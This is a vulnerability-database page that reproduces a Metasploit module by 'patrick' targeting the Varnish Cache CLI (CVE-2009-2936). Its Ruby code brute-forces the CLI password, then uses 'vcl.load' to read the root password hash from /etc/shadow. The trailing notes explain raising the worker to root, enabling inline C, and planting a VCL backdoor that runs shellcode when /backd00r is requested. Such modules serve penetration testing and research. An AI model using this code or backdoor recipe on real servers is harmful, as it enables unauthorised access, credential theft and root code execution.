Lucene search
K

Varnish Cache CLI Interface Remote Code Execution

🗓️ 20 Dec 2014 00:00:00Reported by Patrick WebsterType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 104 Views

Varnish Cache CLI Interface Remote Code Execution module for Metasploit attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce list of passwords. It also attempts to read the /etc/shadow root password hash if a valid password is found

Related
Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Varnish Cache CLI Interface Bruteforce Utility',  
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce  
list of passwords. This module will also attempt to read the /etc/shadow root password hash  
if a valid password is found. It is possible to execute code as root with a valid password,  
however this is not yet implemented in this module.',  
'References' =>  
[  
[ 'OSVDB', '67670' ],  
[ 'CVE', '2009-2936' ],  
# General  
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ],  
[ 'CVE', '1999-0502'] # Weak password  
],  
'Author' => [ 'patrick' ],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(6082),  
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",  
File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") ]),  
], self.class)  
  
deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS')  
end  
  
def run_host(ip)  
connect  
res = sock.get_once(-1,3) # detect banner  
if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth  
vprint_status("Varnishd CLI detected - authentication required.")  
each_user_pass { |user, pass|  
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail.  
res = sock.get_once(-1,3) # grab challenge  
if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth  
challenge = $1  
secret = pass + "\n" # newline is needed  
response = challenge + "\n" + secret + challenge + "\n"  
response = Digest::SHA256.hexdigest(response)  
sock.put("auth #{response}\n")  
res = sock.get_once(-1,3)  
if (res =~ /107 \d+/) # 107 auth  
vprint_status("FAILED: #{secret}")  
elsif (res =~ /200 \d+/) # 200 ok  
print_good("GOOD: #{secret}")   
  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => ('varnishd'),  
:pass => pass,  
:proof => "#{res}",  
:source_type => "user_supplied",  
:active => true  
)  
  
sock.put("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} /etc/shadow\n") # only returns 1 line of any target file.  
res = sock.get_once(-1,3)  
if (res =~ /root:([\D\S]+):/) # lazy.  
if ($1[0] == "!")  
vprint_error("/etc/shadow root uid is disabled.\n")  
else  
print_good("/etc/shadow root enabled:\nroot:#{$1}:")  
end  
else  
vprint_error("Unable to read /etc/shadow?:\n#{res}\n")  
end  
  
break  
else  
vprint_error("Unknown response:\n#{res}\n")  
end  
end  
}  
elsif (res =~ /Varnish Cache CLI 1.0/)  
print_good("Varnishd CLI does not require authentication!")  
else  
vprint_error("Unknown response:\n#{res}\n")  
end  
disconnect  
end  
end  
  
=begin  
  
aushack notes:  
  
- varnishd typically runs as root, forked as unpriv.  
- 'param.show' lists configurable options.  
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.  
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)  
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)  
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).  
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.  
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.  
- code execution notes:  
  
* quotes must be escaped \"  
* \n is a newline  
* C{ }C denotes raw C code.  
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C  
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).  
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.  
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.  
* example trigger for backdoor:  
  
VCL server:  
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"  
vcl.use foo  
start  
  
Attacker:  
telnet target 80  
GET /backd00r HTTP/1.1  
Host: 127.0.0.1  
  
(... wait for child to execute debug trap INT3 / shellcode).  
  
CLI protocol notes from website:  
  
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.  
  
Requests are whitespace separated tokens terminated by a newline (NL) character.  
  
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (  
), (\"), (\%03o) and (\x%02x)  
  
The response consists of a header which can be read as fixed format or ASCII text:  
  
1-3 %03d Response code  
4 ' ' Space  
5-12 %8d Length of body  
13 \n NL character.  
Followed by the number of bytes announced by the header.  
  
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:  
  
enum cli_status_e {  
CLIS_SYNTAX = 100,  
CLIS_UNKNOWN = 101,  
CLIS_UNIMPL = 102,  
CLIS_TOOFEW = 104,  
CLIS_TOOMANY = 105,  
CLIS_PARAM = 106,  
CLIS_OK = 200,  
CLIS_CANT = 300,  
CLIS_COMMS = 400,  
CLIS_CLOSE = 500  
};  
=end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Dec 2014 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.6839
104